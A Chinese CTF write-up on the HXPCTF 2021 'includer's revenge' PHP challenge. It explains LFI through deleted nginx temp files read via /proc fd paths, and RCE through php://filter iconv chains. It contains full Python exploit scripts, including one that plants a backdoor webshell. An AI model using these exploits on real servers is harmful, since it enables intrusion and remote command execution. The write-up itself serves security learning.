NSS [HXPCTF 2021]includer‘s revenge

news2025/1/11 14:09:20

NSS [HXPCTF 2021]includer’s revenge

题目描述:Just sitting here and waiting for PHP 8.1 (lolphp).

题目源码:(index.php)

<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

先解释一下源码含义。

  1. ($_GET['action'] ?? 'read'):这一部分首先尝试从 URL 查询参数中获取名为 ‘action’ 的参数值($_GET['action']),如果该参数不存在,则使用默认值 ‘read’。这是通过使用 PHP 7 中的空合并运算符 ?? 来实现的,它会检查左侧的表达式是否为 null,如果是则使用右侧的默认值。

  2. === 'read':这是一个相等性比较,它检查上述表达式的结果是否严格等于字符串 ‘read’。如果是 ‘read’,则条件为真,否则条件为假。

  3. ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');:这是一个三元条件运算符,根据前面的条件表达式的结果来执行不同的操作。

    • 如果条件为真(即 ‘action’ 参数等于 ‘read’),则执行 readfile($_GET['file'] ?? 'index.php'),它会读取并输出指定文件的内容。如果 URL 中没有 ‘file’ 参数,它会默认读取 ‘index.php’ 文件的内容。

    • 如果条件为假(即 ‘action’ 参数不等于 ‘read’),则执行 include_once($_GET['file'] ?? 'index.php'),它会包含指定的文件。同样,如果 URL 中没有 ‘file’ 参数,它会默认包含 ‘index.php’ 文件。

当然如果光看这些代码,我们可以直接用 [36c3 2019]includer 的解法解掉,用 compress.zip://http:// 产生临时文件,包含即可。

结合题目给我们的附件,主要是 Dockerfile ,发现并不是这样。所有临时目录都弄得不可写了,所以导致之前[36c3 2019]includer 的产生临时文件的方法就失效了。

image-20230924185019311

所以很明显,我们需要找到另一个产生临时文件,将其包含的方法。

PHP产生临时文件主要是通过 php_stream_fopen_tmpfile 这个函数,然而这个函数调用都没几处。


方法一:Nginx+FastCGI+临时文件

原文传送门,里面包含了源码分析。

Dockerfile 中注意到有一行可能类似于 hint 的操作。

image-20230924185436996

既然我们要找一个 www-data 用户可写的地方,我们可以参考这个命令把系统中所有的都找出来,看看有没有什么猫腻:

/dev/core
/dev/stderr
/dev/stdout
/dev/stdin
/dev/fd
/dev/ptmx
/dev/urandom
/dev/zero
/dev/tty
/dev/full
/dev/random
/dev/null
/dev/shm
/dev/mqueue
/dev/pts/1
/dev/pts/ptmx
/run/lock
/run/php
/run/php/php7.4-fpm.sock
/run/php/php7.4-fpm.pid
/proc/keys
/proc/kcore
/proc/timer_list
/proc/sched_debug
/var/lock
/var/lib/nginx/scgi
/var/lib/nginx/body
/var/lib/nginx/uwsgi
/var/lib/nginx/proxy
/var/lib/nginx/fastcgi
/var/log/nginx/access.log
/var/log/nginx/error.log

以上略去了很多 /proc/xxxx ,所以挨个看下来,很明显,似乎后面 nginx 的可能就是我们要的答案,我们可以在网络上搜索一下相关目录用来干嘛的,最后发现 /var/lib/nginx/fastcgi 目录是 Nginx 的 http-fastcgi-temp-path ,看到 temp 这里就感觉很有意思了,意味着我们可能通过 Nginx 来产生一些文件,并且通过一些搜索我们知道这些临时文件格式类似于:/var/lib/nginx/fastcgi/x/y/0000000yx


开始做题:

【一】临时文件怎么来

在 Nginx 文档中有这样的部分:fastcgi_buffering,Nginx 接收来自 FastCGI 的响应 如果内容过大,那它的一部分就会被存入磁盘上的临时文件,而这个阈值大概在 32KB 左右。超过阈值,就产生了临时文件。

【二】临时文件的临时性怎么解决

但是毕竟是临时文件,几乎 Nginx 是创建完文件就立即删除了,创建就被删除了导致我们无法判断文件 名称和内容 到底是啥。

如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?这种情况下我们还是可以在对应的 /proc/PID/fd 下找到我们删除的文件 ,虽然显示是被删除了,但是我们依然可以读取到文件内容,所以我们可以直接用php 进行文件包含。

【三】PID、fd、具体文件名怎么得到

要去包含 Nginx 进程下的文件,我们就需要知道对应的 pid 以及 fd 下具体的文件名,怎么才能获取到这些信息呢?

这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了,这里我们只需要本地搭个 Nginx 进程并启动,对比其进程的 proc 目录文件与其他进程文件区别就可以了。

而进程间比较容易区别的就是通过 /proc/cmdline ,如果是 Nginx Worker 进程,我们可以读取到文件内容为 nginx: worker process 即可找到 Nginx Worker 进程;因为 Master 进程不处理请求,所以我们没必要找 Nginx Master 进程。

当然,Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo 中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker PID 数量以及 CPU 数量来校验我们大概找的对不对。

那怎么确定用哪一个 PID 呢?以及 fd 怎么办呢?由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务,但是一般来说是 8 个 worker ,实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70 ,能在常数时间内得到解答。查看 /proc/sys/kernel/pid_max 找到最大的 PID,就能确定爆破范围。

【四】绕过include_once限制

参考:php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)

include_once()的绕过类似于require_once()绕过。

我们被包含的路径(符号链接)可以是

f = f'/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/{pid}/fd/{fd}'

也可以是

f = f'/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}'

所以我们本题的思路如下:

  • 让后端 php 请求一个过大的文件
  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  • 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

EXP:

#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

# ./xxx.py ip port
# URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
URL = "http://node4.anna.nssctf.cn:28627/"

# find nginx worker processes
r  = requests.get(URL, params={
    'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET[\'xxx\']); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'file': f,
                'xxx': f'/readflag',   #命令,如ls
                'action':'xxx'   #这题要加这个,原脚本没加
            })
            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

官方EXP:

#!/usr/bin/env python3
# hxp CTF 2021 counter
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):
    return quote_from_bytes(data, safe)
 
url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
 
backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()
 
print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)
 
code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
 
with tempfile.NamedTemporaryFile() as tmp:
    tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
    tmp.flush()
    o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
    print(o, file=sys.stderr)
    assert payload in o
 
    os.chdir('/tmp')
    subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
    with open(backdoor_name) as f:
        d = f.read()
        assert d == 'test'
 
 
pid = -1
N = 10
 
done = False
 
def worker(i):
    time.sleep(1)
    while not done:
        print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
        s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
        os.system(s)
 
def delete_worker():
    time.sleep(1)
    while not done:
        print('[+] starting delete worker', file=sys.stderr)
        s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
        os.system(s)
 
for i in range(N):
    threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()
 
 
while not done:
    try:
        r = requests.get(url, params={
            'page': '/proc/sys/kernel/ns_last_pid'
        }, timeout=10)
        print(f'[+] pid: {pid}', file=sys.stderr)
        if int(r.text) > (pid+N):
            pid = int(r.text) + 200
            print(f'[+] pid overflow: {pid}', file=sys.stderr)
            os.system('pkill -9 -x bombardier')
 
        r = requests.get(f'{url}data/{backdoor_name}', params={
            's' : secret,
            'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
        }, timeout=10)
 
        if r.status_code == 200:
            print(r.text)
            done = True
            os.system('pkill -9 -x bombardier')
            exit()
 
 
        time.sleep(0.5)
    except Exception as e:
        print(e, file=sys.stderr)

下图是两种绕过require_once()获取flag的方法 的实践。

image-20230924212008498

image-20230924210143634


方法二:Base64 Filter 宽松解析+iconv filter+无需临时文件

这个方法被誉为PHP本地文件包含(LFI)的尽头。

原文传送门,写的很细,我就不重复造轮子了,仅进行略微补充。

原理大概就是 对PHP Base64 Filter 来说,会忽略掉非正常编码的字符。这很好理解,有些奇怪的字符串进行base64解码再编码后会发现和初始的不一样,就是这个原因。

限制:

某些字符集在某些系统并不支持,比如Ubuntu18.04,十分幸运,php官方带apache的镜像是Debain,运行上面的脚本没有任何问题。

解决的办法其实并不难,只需要将新的字符集放到wupco师傅的脚本中再跑一次就可以了:GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

攻击脚本:

import requests

url = "http://node4.anna.nssctf.cn:28627/"
file_to_use = "/etc/passwd"
command = "/readflag"

#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "xxx",
    "file": final_payload
})

# print(filters)
# print(final_payload)
print(r.text)

image-20230924214400799

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1037468.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《JVM》第二篇 JVM内存模型深度剖析与优化

目录 一. JDK体系结构与跨平台特性介绍二. JVM内存模型深度剖析三. 从Jvisualvm来研究下对象内存流转模型四. GC Root与STW机制五. JVM参数设置通用模型 一. JDK体系结构与跨平台特性介绍 二. JVM内存模型深度剖析 按照线程是否共享来划分 TLAB(Thread Local Allocation Buffe…

USB总线-Linux内核USB3.0主机控制器驱动框架分析(十二)

1.概述 如下图所示&#xff0c;Linux内核中USB主机体系结构由五部分组成&#xff0c;分别为Application Software、USB Class Driver、USB Core(USB Driver)、USB Host Controller Driver、USB Host Controller。应用程序处于用户空间&#xff0c;通过系统调用访问Class Drive…

C进阶-数据的存储

数据类型介绍 内置类型&#xff1a; //数据类型中的内置类型 // char //字符数据类型 // short //短整型 // int //整型 // long //长整型 // long long //更长的整型 // float //单精度浮点数 // double //双精度浮点数 //数据类型中的内置类型 单位是字节 // char //字…

使用 ggbreak 包进行Y轴多次截断

简介 最近在科研中需要比较不同模型的预测性能&#xff0c;我们使用相对偏差&#xff0c;均方根误差等来比较结果。此时&#xff0c;可能会得到以下结果&#xff1a; 上图出现以下问题&#xff1a; 问题一&#xff1a;由于经典模型&#xff08;Normal&#xff09;在复杂数据中…

【Unity基础】5.动画曲线

【Unity基础】5.动画曲线 大家好&#xff0c;我是Lampard~~ 欢迎来到Unity基础系列博客&#xff0c;所学知识来自B站阿发老师~感谢 &#xff08;一&#xff09;曲线编辑 (1) 动画曲线 上周我们创建了一个简单动画&#xff0c;让我们的矩形在第0帧时Y轴从0的位置&#…

ElementUI基本介绍及登录注册案例演示

目录 前言 一.简介 二.优缺点 三.Element完成登录注册 1. 环境配置及前端演示 1.1 安装Element-UI模块 1.2 安装axios和qs(发送get请求和post请求) 1.3 导入依赖 2 页面布局 2.1组件与界面 3.方法实现功能数据交互 3.1 通过方法进行页面跳转 3.2 axios发送get请求 …

008_第一代软件系统架构

第一代软件系统架构 文章目录 第一代软件系统架构项目介绍软件架构和软件构架系统框架硬件组成运行系统基础库软件层 系统架构 关键字&#xff1a; Qt、 Qml、 关键字3、 关键字4、 关键字5 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&…

SD-MTSP:萤火虫算法(FA)求解单仓库多旅行商问题MATLAB(可更改数据集,旅行商的数量和起点)

一、萤火虫算法&#xff08;FA&#xff09;简介 萤火虫算法(Firefly Algorithm&#xff0c;FA)是Yang等人于2009年提出的一种仿生优化算法。 参考文献&#xff1a;田梦楚, 薄煜明, 陈志敏, et al. 萤火虫算法智能优化粒子滤波[J]. 自动化学报, 2016, 42(001):89-97. 二、单仓…

Go-Python-Java-C-LeetCode高分解法-第七周合集

前言 本题解Go语言部分基于 LeetCode-Go 其他部分基于本人实践学习 个人题解GitHub连接&#xff1a;LeetCode-Go-Python-Java-C Go-Python-Java-C-LeetCode高分解法-第一周合集 Go-Python-Java-C-LeetCode高分解法-第二周合集 Go-Python-Java-C-LeetCode高分解法-第三周合集 …

力扣:105. 从前序与中序遍历序列构造二叉树(Python3)

题目&#xff1a; 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的中序遍历&#xff0c;请构造二叉树并返回其根节点。 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;力扣&am…

RASP初识

需要了解的东西. 是什么 拦截日志&#xff1a;rasp/logs/alarm/alarm.log RASP&#xff08;Runtime application self-protection&#xff09;运行时应用自我保护。 官方英译应用程序不应将大部分运行时保护委托给外部设备。应用程序应该能够自我保护&#xff08;即&#xf…

排序:希尔排序(Shell Sort)算法分析

1.算法思想 希尔排序:先追求表中元素部分有序再逐渐逼近全局有序. 希尔排序∶先将待排序表分割成若干形如 L [ i , i d , i 2 d . . . . , i k d ] L[i,i d,i 2d ...., i kd] L[i,id,i2d....,ikd]的“特殊”子表&#xff0c; 对各个子表分别进行直接插入排序。缩小增量…

1018 锤子剪刀布

一.问题&#xff1a; 大家应该都会玩“锤子剪刀布”的游戏&#xff1a;两人同时给出手势&#xff0c;胜负规则如图所示&#xff1a; 现给出两人的交锋记录&#xff0c;请统计双方的胜、平、负次数&#xff0c;并且给出双方分别出什么手势的胜算最大。 输入格式&#xff1a; …

Baumer工业相机堡盟工业相机如何通过BGAPI SDK设置相机的图像剪切(ROI)功能(C++)

Baumer工业相机堡盟工业相机如何通过BGAPI SDK设置相机的图像剪切&#xff08;ROI&#xff09;功能&#xff08;C&#xff09; Baumer工业相机Baumer工业相机的图像剪切&#xff08;ROI&#xff09;功能的技术背景CameraExplorer如何使用图像剪切&#xff08;ROI&#xff09;功…

急救车工业路由器应用提升急救效率:车联网、数据采集与远程诊疗

急救车作为医院里医疗急救过程中的重要组成部分&#xff0c;在智慧医疗物联网领域中急救车应用4G工业路由器实现网络部署与数据采集&#xff0c;通过工业4G路由器能够实时采集到病患的生理数据、救护现场音频与视频、GPS定位以及车辆运行状态等重要信息。这些数据将被传输到医疗…

【产品资料】产品经理面试问题(一)

今天和大家免费分享产品经理常见的面试题目&#xff0c;含回答思路分析和回答事例。 更多的产品文档、原型模板、视频教程等资源&#xff0c;请关注公众号&#xff1a;Axure高保真原型

6、SpringBoot_项目的打包与运行

七、SpringBoot项目的打包与运行 1.目前项目怎么运行的 通过浏览器访问idea 将jar部署到服务器 2.maven 打包项目 命令 mvn package使用命令后会得到如下的jar 3.程序运行 命令 java -jar 项目.jar启动如下 4.springboot打包需要插件 插件 <plugin><group…

梯度下降法

梯度下降法 对于一个二元一次函数 y ax b&#xff0c;我们只需要知道两个 (x&#xff0c;y) 点即可获取到 a、b 的值&#xff0c;我们称其为精确解&#xff0c;如下图&#xff1a; 但是如果该函数中存在已知分布的噪声&#xff0c;那么又该如何求解&#xff1a; 我们可以假…